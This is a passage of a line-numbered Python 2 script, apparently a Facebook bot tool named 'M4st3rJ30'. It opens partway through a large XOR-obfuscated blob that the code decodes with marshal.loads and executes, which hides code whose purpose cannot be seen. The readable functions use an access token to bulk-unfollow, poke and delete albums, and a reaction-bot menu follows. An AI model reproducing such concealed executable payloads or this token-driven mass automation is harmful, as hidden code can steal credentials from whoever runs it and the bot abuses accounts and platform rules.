00d\xb5\x00d\xb7\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d\xbd\x00d\r\x00dx\x00d\xb0\x00dR\x00d\x12\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00dm\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x88\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xc8\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d\xef\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x1e\x00dk\x00d\x8e\x00d?\x00dU\x00d\x17\x00dV\x00d\x04\x00d>\x00d\x15\x00dA\x00dA\x00d*\x00d\x1a\x00d&\x00d\x10\x00d\xed\x00d$\x00d\x08\x00dj\x00d*\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d\x1d\x00dA\x00d.\x00d\xf2\x00dx\x00d\xe0\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d{\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d\xa2\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xd9\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\x11\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d%\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00d[\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d`\x00d\t\x00d\n\x00d\xac\x00d4\x00d\xea\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\xbb\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\xc2\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00d\xde\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\xf4\x00d"\x00d#\x00d\x0c\x00d\x8e\x00d\xe0\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\xf9\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xdb\x00d\xf8\x00d.\x00d^\x00d\xc0\x00dz\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\xfb\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d\xe5\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\xa3\x00d%\x00d\xce\x00d>\x00di\x00d\xe4\x00dA\x00d\xed\x00d7\x00dh\x00d\xa7\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\x1e\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xea\x00d\x10\x00dt\x00d3\x00d@\x00dg\x00d\xd0\x00dP\x00d\x9c\x00dd\x00du\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00d\x05\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\x88\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d\'\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d\r\x00d`\x00d\xaa\x00d7\x00dk\x00d\t\x00dh\x00dc\x00du\x00d\xad\x00d\xd2\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d\xd9\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d\xb9\x00d\xd9\x00dm\x00d!\x00d\xc8\x00dN\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00d\xa0\x00dq\x00d\xa1\x00d\x99\x00d+\x00d\x12\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d\x03\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\xe2\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d\x03\x00d\r\x00dx\x00d\xb0\x00dR\x00dI\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xbf\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\xe0\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\x94\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d*\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d#\x00dk\x00d\x8e\x00d?\x00dU\x00dF\x00dV\x00d\x04\x00d>\x00d\x15\x00d&\x00dA\x00d*\x00d\x1a\x00d&\x00d\x07\x00d\xed\x00d$\x00d\x08\x00dj\x00d\xc5\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d\xa4\x00dA\x00d.\x00d\xf2\x00dx\x00d\xa2\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d\x02\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00dM\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xc6\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00dG\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d.\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00di\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xe5\x00d\t\x00d\n\x00d\xac\x00d4\x00d\xf9\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\x86\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\xa0\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00dr\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\xeb\x00d"\x00d#\x00d\x0c\x00d\x8e\x00d\xfe\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x14\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xbe\x00d\xf8\x00d.\x00d^\x00d\xc0\x00dI\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\x02\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d{\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\x19\x00d%\x00d\xce\x00d>\x00di\x00d\x04\x00dA\x00d\xed\x00d7\x00dh\x00d$\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\xa9\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00dL\x00d\x10\x00dt\x00d3\x00d@\x00dn\x00d\xd0\x00dP\x00d\x9c\x00dd\x00dI\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00dg\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\x05\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d\xa2\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d\xd2\x00d`\x00d\xaa\x00d7\x00dk\x00d\x0c\x00dh\x00dc\x00du\x00d\xad\x00d*\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d\xc8\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d\xfa\x00d\xd9\x00dm\x00d!\x00d\xc8\x00d\xb6\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00dv\x00dq\x00d\xa1\x00d\x99\x00d+\x00dM\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d\xef\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\xaa\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d*\x00d\r\x00dx\x00d\xb0\x00dR\x00dA\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xe7\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x84\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xe0\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d\\\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x82\x00dk\x00d\x8e\x00d?\x00dU\x00d\x89\x00dV\x00d\x04\x00d>\x00d\x15\x00d\x1a\x00dA\x00d*\x00d\x1a\x00d&\x00d\xf2\x00d\xed\x00d$\x00d\x08\x00dj\x00d\x1e\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00dt\x00dA\x00d.\x00d\xf2\x00dx\x00d\x0b\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00db\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d\xc6\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xea\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\x92\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d\x0f\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00dD\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xf2\x00d\t\x00d\n\x00d\xac\x00d4\x00d\x81\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\x93\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00dG\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00dh\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\x7f\x00d"\x00d#\x00d\x0c\x00d\x8e\x00dA\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x98\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xb5\x00d\xf8\x00d.\x00d^\x00d\xc0\x00d\xb6\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\xf1\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d\xb6\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\x1c\x00d%\x00d\xce\x00d>\x00di\x00d\xc2\x00dA\x00d\xed\x00d7\x00dh\x00d\x8f\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\x9f\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xda\x00d\x10\x00dt\x00d3\x00d@\x00d\xa2\x00d\xd0\x00dP\x00d\x9c\x00dd\x00d|\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00d\x16\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\xe9\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d2\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d.\x00d`\x00d\xaa\x00d7\x00dk\x00d\xbb\x00dh\x00dc\x00du\x00d\xad\x00d\x18\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d$\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d%\x00d\xd9\x00dm\x00d!\x00d\xc8\x00d\\\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00d\xa7\x00dq\x00d\xa1\x00d\x99\x00d+\x00d\x94\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d{\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\x8b\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d(\x00d\r\x00dx\x00d\xb0\x00dR\x00dY\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xd2\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x85\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xa7\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d?\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x9c\x00dk\x00d\x8e\x00d?\x00dU\x00d\x88\x00dV\x00d\x04\x00d>\x00d\x15\x00d\xad\x00dA\x00d*\x00d\x1a\x00d&\x00d\x05\x00d\xed\x00d$\x00d\x08\x00dj\x00d\xdb\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d4\x00dA\x00d.\x00d\xf2\x00dx\x00d\xc3\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d2\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d*\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\x1e\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\xfd\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d\x9e\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00d\x90\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xbb\x00d\t\x00d\n\x00d\xac\x00d4\x00d*\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\xb2\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\x0c\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00d}\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d:\x00d"\x00d#\x00d\x0c\x00d\x8e\x00dy\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x06\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xd5\x00d\xf8\x00d.\x00d^\x00d\xc0\x00d\x1d\x00d\x0e\x00d\x98\x00d2\x00d\x02\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d9\x00d\xdd\x00d8\x00d~\x00d\xca\x00d,\x00d%\x00d\xce\x00d>\x00di\x00dP\x00dA\x00d\xed\x00d7\x00dh\x00d\x10\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00dx\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xd1\x00d\x10\x00dt\x00d3\x00d\xe5\x00d\xe9\x00d\xd0\x00dP\x00d\x9c\x00d,\x00d/\x00d\xe5\x00d\xbc\x00dV\x00d6\x00d\x91\x00d\xab\x00d<\x00d\\\x00d\xf8\x00d\xe3\x00d\x17\x00d\xaa\x00d\x08\x00d%\x00dU\x00d?\x00d@\x00dv\x00d&\x00d\x17\x00d`\x00d>\x00d\xde\x00d8\x00dw\x00dh\x00dc\x00d\xa3\x00d\xae\x00d\x96\x00d\xfa\x00d\xb1\x00d@\x00d\x80\x00d\xe1\x00dt\x00d\x19\x00d\x91\x00d\x19\x00d\xef\x00d\xed\x00d\xec\x00d!\x00d\x16\x00dn\x00d\x1f\x00d\x16\x00d\xc0\x00d\x7f\x00d\xe3\x00dq\x00d\xa1\x00d\x99\x00d\x91\x00d\xe6\x00d\x89\x00d\x8f\x00d}\x00d$\x00du\x00dj\x00dV\x00d\x17\x00da\x00d\xd2\x00d\x01\x01d\xaa\x00dI\x00dZ\x00db\x00d\r\x00d\x84\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xe9\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d\x9e\x00dt\x00d\x81\x00d\xc7\x00d\x06\x00dq\x00dm\x00d\x93\x00d\xba\x00d\xd9\x00d\xa1\x00d]\x00d\x1a\x00d\xb8\x00d\xab\x00d\xc6\x00d\xf4\x00d\x8b\x00d|\x00d\xee\x00d(\x00d\x8f\x00d8\x00d\r\x00d\x91\x00d\xae\x00d\t\x00d\x13\x00d\xc5\x00dA\x00d\xa6\x00d\xb0\x00d<\x00d0\x00d\xed\x00d\x9e\x00d\x8c\x00d\xdb\x00d\x97\x00dx\x00dU\x00d\xd1\x00d\xde\x00dE\x00dA\x00d\xb5\x00d\xf2\x00d\xa9\x00d\x92\x00d#\x00d\x9b\x00d\xd1\x00da\x00dX\x00d-\x00d\xf4\x00d\xd0\x00d\x86\x00d\xf5\x00d}\x00d\xf8\x00d9\x00d\xa3\x00d\xd9\x00d-\x00d?\x00d\x93\x00d\x80\x00d\x87\x00dW\x00d\xa6\x00dJ\x00d\xf6\x00d~\x00d\xb0\x00dJ\x00d\x9f\x00d\x9c\x00dP\x00dB\x00d\xf5\x00d\xb2\x00d\x8a\x00d}\x00d>\x00g\xf5\x12Z\x01\x00d\x02\x01Z\x02\x00d"\x00d"\x00f\x02\x00\\\x02\x00Z\x03\x00Z\x04\x00d\xa9\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\xac\x00d\x92\x00d\r\x00d\x0e\x00dU\x00d\x10\x00d\x11\x00d\x12\x00d\xdf\x00d\xb0\x00dp\x00d\x16\x00d\x17\x00d\xa5\x00d\x19\x00d\x1a\x00ds\x00d\x98\x00d\x1d\x00d\xe8\x00d\x1f\x00d \x00d_\x00d"\x00d#\x00d\x0c\x00d7\x00d&\x00d\xa5\x00d\xd9\x00d(\x00d}\x00dY\x00d\t\x00d>\x00d\xfa\x00d,\x00d$\x00d\xf8\x00d.\x00d^\x00d\xdc\x00d \x00d\x0e\x00d\x98\x00d2\x00d\x86\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d7\x00d#\x00d\xdd\x00d8\x00d~\x00d\x10\x00d<\x00d%\x00d\xce\x00d>\x00d\x8f\x00d9\x00dA\x00d\xed\x00d7\x00dC\x00d\x81\x00d\xc3\x00d\x1b\x00d\x8f\x00d)\x00dG\x00d\x0c\x00d\xd7\x00dI\x00d\x10\x00d3\x00d\x10\x00dt\x00d3\x00dM\x00d\xa2\x00d\xd0\x00dP\x00d\x9c\x00d\x9b\x00dS\x00d\xe5\x00d\xbc\x00dV\x00dv\x00d\x99\x00dX\x00d\x8a\x00d\xb7\x00dZ\x00d!\x00d\xb4\x00d+\x00d\x08\x00d%\x00dU\x00d\x8f\x00d\xdc\x00d\\\x00d&\x00d\x17\x00d`\x00d\xaa\x00d7\x00da\x00dw\x00dh\x00dc\x00du\x00d5\x00de\x00d\xfa\x00d\xb1\x00d@\x00d\x01\x01d\xb7\x00d!\x00d\x19\x00d\x91\x00d\x19\x00ds\x00d\xd9\x00dm\x00d!\x00d\x16\x00dn\x00d\xd3\x00d\x84\x00d0\x00d\x13\x00d\x8c\x00dq\x00d\xa1\x00d\x99\x00dn\x00d~\x00d\xfd\x00d\x19\x00d\x02\x00d$\x00du\x00dj\x00d\xc1\x00dv\x00d\x96\x00d\xef\x00d\x1c\x00d\x1b\x00dI\x00dZ\x00db\x00d\r\x00dx\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xf7\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d(\x00d\xb2\x00d\x81\x00d\xc7\x00d\x06\x00d\\\x00d\xce\x00d\xda\x00dZ\x00d\xd0\x00d\x06\x00d\x84\x00dF\x00d\x07\x00d\x88\x00d\xc6\x00d\xf4\x00d\x8b\x00d\x98\x00dk\x00d\x8e\x00d?\x00d\x93\x00d\x91\x00dV\x00d\x04\x00d>\x00d\x13\x00d\xc5\x00dA\x00d*\x00d\x1a\x00d<\x00d0\x00d\xed\x00d$\x00d\x08\x00d\xab\x00d\x97\x00d\x8c\x00dU\x00dQ\x00d\xde\x00d\x81\x00dA\x00d.\x00d\xf2\x00d9\x00d\x92\x00d\xf7\x00d\x9b\x00dQ\x00da\x00d\x9b\x00d-\x00d\x9e\x00d\xa0\x00dr\x00d\x05\x00dA\x00d\xc1\x00d\xa9\x00d\xa3\x00d-\x00d-\x00d\xa5\x00d\x93\x00dF\x00d\xa7\x00d\xf5\x00d\x11\x00d\xa5\x00d\xf6\x00d\xd2\x00dl\x00d\xa5\x00d\x9f\x00g\xff\x00Z\x05\x00xe\x00e\x03\x00e\x06\x00e\x01\x00\x83\x01\x00k\x05\x00r%<Pn\x00\x00e\x04\x00e\x06\x00e\x05\x00\x83\x01\x00k\x05\x00r@<d"\x00Z\x04\x00n\x00\x00e\x02\x00e\x07\x00e\x01\x00e\x03\x00\x19e\x05\x00e\x04\x00\x19A\x83\x01\x007Z\x02\x00e\x03\x00d\xc9\x007Z\x03\x00e\x04\x00d\xc9\x007Z\x04\x00q\x0f<We\x00\x00j\x08\x00e\x02\x00\x83\x01\x00d\x01\x00\x04Ud\x01\x00S(\x03\x01\x00\x00i\xff\xff\xff\xffNi\x06\x00\x00\x00in\x00\x00\x00i\xa5\x00\x00\x00i*\x00\x00\x00i`\x00\x00\x00iF\x00\x00\x00i\r\x00\x00\x00i\xc6\x00\x00\x00iV\x00\x00\x00i\xcd\x00\x00\x00i\xab\x00\x00\x00i\xc5\x00\x00\x00i\xdc\x00\x00\x00i\xbf\x00\x00\x00i\x80\x00\x00\x00iJ\x00\x00\x00iB\x00\x00\x00iS\x00\x00\x00i5\x00\x00\x00i:\x00\x00\x00i\xbe\x00\x00\x00i#\x00\x00\x00i\x92\x00\x00\x00i\x19\x00\x00\x00iH\x00\x00\x00i\x8a\x00\x00\x00ii\x00\x00\x00i"\x00\x00\x00i)\x00\x00\x00i\xbd\x00\x00\x00i\x18\x00\x00\x00ic\x00\x00\x00i\x00\x00\x00\x00i\x87\x00\x00\x00i\xcf\x00\x00\x00i\xb4\x00\x00\x00i]\x00\x00\x00i[\x00\x00\x00i\xb0\x00\x00\x00ig\x00\x00\x00i8\x00\x00\x00i\xa3\x00\x00\x00i\xed\x00\x00\x00i\xa7\x00\x00\x00i\x15\x00\x00\x00i\x98\x00\x00\x00i\xe7\x00\x00\x00i\xb8\x00\x00\x00iI\x00\x00\x00i\x16\x00\x00\x00i\xc1\x00\x00\x00i\xef\x00\x00\x00i!\x00\x00\x00i\xb6\x00\x00\x00i\xe3\x00\x00\x00i\x9a\x00\x00\x00i\x81\x00\x00\x00i\x8c\x00\x00\x00i4\x00\x00\x00i\xd0\x00\x00\x00i\xc7\x00\x00\x00i\t\x00\x00\x00i\x94\x00\x00\x00i\x11\x00\x00\x00i\xb9\x00\x00\x00i\x17\x00\x00\x00i\x90\x00\x00\x00i\x0b\x00\x00\x00iv\x00\x00\x00id\x00\x00\x00i\xc4\x00\x00\x00i\xd4\x00\x00\x00i\xe4\x00\x00\x00i\x05\x00\x00\x00i\x02\x00\x00\x00i\xfd\x00\x00\x00i=\x00\x00\x00i$\x00\x00\x00io\x00\x00\x00i\x08\x00\x00\x00i\x8f\x00\x00\x00i\x9f\x00\x00\x00i\xb1\x00\x00\x00i\xff\x00\x00\x00i\xcc\x00\x00\x00i(\x00\x00\x00if\x00\x00\x00i<\x00\x00\x00i\xc0\x00\x00\x00i\x07\x00\x00\x00iM\x00\x00\x00i\xaf\x00\x00\x00i\xfc\x00\x00\x00i9\x00\x00\x00ia\x00\x00\x00i\xe2\x00\x00\x00i6\x00\x00\x00iA\x00\x00\x00i\xf0\x00\x00\x00i\x82\x00\x00\x00iy\x00\x00\x00i\x7f\x00\x00\x00i~\x00\x00\x00i\x04\x00\x00\x00i}\x00\x00\x00i\x8b\x00\x00\x00i{\x00\x00\x00i\xd9\x00\x00\x00i\xca\x00\x00\x00i\xb5\x00\x00\x00i7\x00\x00\x00iq\x00\x00\x00it\x00\x00\x00i\xee\x00\x00\x00ib\x00\x00\x00i\xfe\x00\x00\x00iL\x00\x00\x00iR\x00\x00\x00i\xf3\x00\x00\x00i\x1e\x00\x00\x00i\xd8\x00\x00\x00i\xfb\x00\x00\x00iT\x00\x00\x00i\x03\x00\x00\x00i\xe5\x00\x00\x00i\'\x00\x00\x00ip\x00\x00\x00i\xf4\x00\x00\x00is\x00\x00\x00i\xce\x00\x00\x00i\xdb\x00\x00\x00iU\x00\x00\x00ir\x00\x00\x00i\x12\x00\x00\x00i\x1c\x00\x00\x00i\xec\x00\x00\x00iG\x00\x00\x00i\n\x00\x00\x00i\x0c\x00\x00\x00i\xba\x00\x00\x00i\xdf\x00\x00\x00im\x00\x00\x00i\xa4\x00\x00\x00i\xa9\x00\x00\x00i\xa8\x00\x00\x00i\x96\x00\x00\x00i\\\x00\x00\x00iO\x00\x00\x00i\x83\x00\x00\x00i\x84\x00\x00\x00ih\x00\x00\x00i\xc8\x00\x00\x00i\xa6\x00\x00\x00i\x99\x00\x00\x00il\x00\x00\x00i\xf2\x00\x00\x00i\xc3\x00\x00\x00i\xf9\x00\x00\x00i0\x00\x00\x00i\x10\x00\x00\x00iY\x00\x00\x00i\x97\x00\x00\x00i\x8e\x00\x00\x00i\xf6\x00\x00\x00iK\x00\x00\x00i\x13\x00\x00\x00i\xde\x00\x00\x00ie\x00\x00\x00i\xa2\x00\x00\x00i\x14\x00\x00\x00i\xfa\x00\x00\x00i\x86\x00\x00\x00i\x9b\x00\x00\x00i&\x00\x00\x00iz\x00\x00\x00i_\x00\x00\x00ij\x00\x00\x00iu\x00\x00\x00iW\x00\x00\x00i\xea\x00\x00\x00i\xac\x00\x00\x00i%\x00\x00\x00i2\x00\x00\x00i@\x00\x00\x00i\xb2\x00\x00\x00i\x93\x00\x00\x00i\xe8\x00\x00\x00i>\x00\x00\x00iN\x00\x00\x00i\xdd\x00\x00\x00i\x89\x00\x00\x00i\xa0\x00\x00\x00i\xcb\x00\x00\x00i\x1b\x00\x00\x00i\xd3\x00\x00\x00i|\x00\x00\x00i\x88\x00\x00\x00i\xae\x00\x00\x00i\xd7\x00\x00\x00i\x01\x00\x00\x00i\xe9\x00\x00\x00i\x1f\x00\x00\x00i\xb7\x00\x00\x00i\x0e\x00\x00\x00i\xaa\x00\x00\x00i\xad\x00\x00\x00i1\x00\x00\x00i\xf7\x00\x00\x00i\xe1\x00\x00\x00i\xd1\x00\x00\x00i/\x00\x00\x00iZ\x00\x00\x00i\xc9\x00\x00\x00i\xd6\x00\x00\x00iC\x00\x00\x00iX\x00\x00\x00i\xf5\x00\x00\x00i\xeb\x00\x00\x00i\xe0\x00\x00\x00i\x91\x00\x00\x00i\xc2\x00\x00\x00i \x00\x00\x00i-\x00\x00\x00iQ\x00\x00\x00i^\x00\x00\x00i\x0f\x00\x00\x00i\x9d\x00\x00\x00i\xd5\x00\x00\x00i\x8d\x00\x00\x00i\xd2\x00\x00\x00iE\x00\x00\x00iP\x00\x00\x00i.\x00\x00\x00i3\x00\x00\x00i\xda\x00\x00\x00i,\x00\x00\x00i\xe6\x00\x00\x00i\x85\x00\x00\x00i\xbb\x00\x00\x00iD\x00\x00\x00i\xbc\x00\x00\x00i;\x00\x00\x00iw\x00\x00\x00i+\x00\x00\x00i?\x00\x00\x00ix\x00\x00\x00i\xa1\x00\x00\x00i\xf8\x00\x00\x00i\x1d\x00\x00\x00i\xf1\x00\x00\x00i\x95\x00\x00\x00i\x9e\x00\x00\x00i\xb3\x00\x00\x00ik\x00\x00\x00i\x9c\x00\x00\x00i\x1a\x00\x00\x00t\x00\x00\x00\x00(\t\x00\x00\x00t\x07\x00\x00\x00marshalt\x01\x00\x00\x00dt\x01\x00\x00\x00et\x01\x00\x00\x00it\x01\x00\x00\x00jt\x01\x00\x00\x00kt\x03\x00\x00\x00lent\x03\x00\x00\x00chrt\x05\x00\x00\x00loads(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x08\x00\x00\x00<script>t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x92\x00\x00\x00\x0c\x01\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\x1e\x01\x06\x01\x12\x01\xff\x00\xff\x00\xff\x00\x06\x01\x03\x01\x12\x00\x04\x01\x12\x00\t\x01\x1c\x01\n\x01\x0e\x01')
  390.  
  391. def unfollow(posts):
  392. global token , WT
  393.  
  394. print '\r[*] All id successfully retrieved '
  395. print '[*] Start'
  396.  
  397. try:
  398. counter = 0
  399. for post in posts['data']:
  400. if counter >= 50:
  401. break
  402. else:
  403. counter += 1
  404.  
  405. r = requests.post('https://graph.facebook.com/' + post['id'] + '/subscribers?method=delete&access_token=' + token)
  406. a = json.loads(r.text)
  407.  
  408. try:
  409. cek = a['error']['nessage']
  410. print W + '[' + R + post['name'] + W + '] failed'
  411. except TypeError:
  412. print W + '[' + G + post['name'] + W + '] unfollow'
  413. print '[*] Done'
  414. bot()
  415. except KeyboardInterrupt:
  416. print '\r[!] Stopped'
  417. bot()
  418. def poke(posts):
  419. global token , WT
  420.  
  421. print '\r[*] All id successfully retrieved '
  422. print '[*] Start'
  423.  
  424. try:
  425. counter = 0
  426. for post in posts:
  427. if counter >= 50:
  428. break
  429. else:
  430. counter += 1
  431.  
  432. r = requests.post('https://graph.facebook.com/%s/pokes?access_token=%s'%(post['id'].split('_')[0],token))
  433. a = json.loads(r.text)
  434.  
  435. id = post['id'].split('_')[0]
  436. try:
  437. cek = a['error']['message']
  438. print W + '[' + R + id + W + '] failed'
  439. except TypeError:
  440. print W + '[' + G + id + W + '] pokes'
  441. print '[*] Done'
  442. bot()
  443. except KeyboardInterrupt:
  444. print '\r[!] Stopped '
  445. bot()
  446. except (requests.exceptions.ConnectionError):
  447. print '[!] Connection Error'
  448. bot()
  449. def albums(posts):
  450. global token , WT
  451.  
  452. print '\r[*] All id successfully retrieved '
  453. print '[*] Start'
  454.  
  455. try:
  456. counter = 0
  457. for post in posts:
  458. if counter >= 50:
  459. break
  460.  
  461. r = requests.post('https://graph.facebook.com/'+post['id']+'?method=delete&access_token='+token)
  462. a = json.loads(r.text)
  463.  
  464. try:
  465. cek = a['error']['message']
  466. print W + '[' + R + post['name'] + W + '] Failed'
  467. except TypeError:
  468. print W + '[' + G + post['name'] + W + '] femoved'
  469. print '[*] Done'
  470. bot()
  471. except KeyboardInterrupt:
  472. print '\r[!] Stopped '
  473. bot()
  474. except (requests.exceptions.ConnectionError):
  475. print '[!] connection error'
  476. bot()
  477. ######################################################################################################################
  478. # Bot reaction
  479. # Prepairing #
  480. def menu_reaction_ask():
  481. try:
  482. global type
  483.  
  484. cek = raw_input(R + 'M4st3rJ30' + W + '/' + R + 'Bot' + W + '/' + R + 'Reaction' + W + ' >> ')
  485.  
  486. if cek in ['1','01']:
  487. type = 'LIKE'
  488. bot_ask()
  489. elif cek in ['2','02']:
  490. type = 'LOVE'
  491. bot_ask()
  492. elif cek in ['3','03']:
  493. type = 'WOW'
  494. bot_ask()
  495. elif cek in ['4','04']:
  496. type = 'HAHA'
  497. bot_ask()
  498. elif cek in ['5','05']:
  499. type = 'SAD'
  500. bot_ask()
  501. elif cek in ['6','06']:
  502. type = 'ANGRY'
  503. bot_ask()
  504. elif cek.lower() == 'menu':
  505. menu_reaction()
  506. menu_reaction_ask()
  507. elif cek.lower() == 'exit':
  508. print '[!] Exiting program !!'
  509. sys.exit()
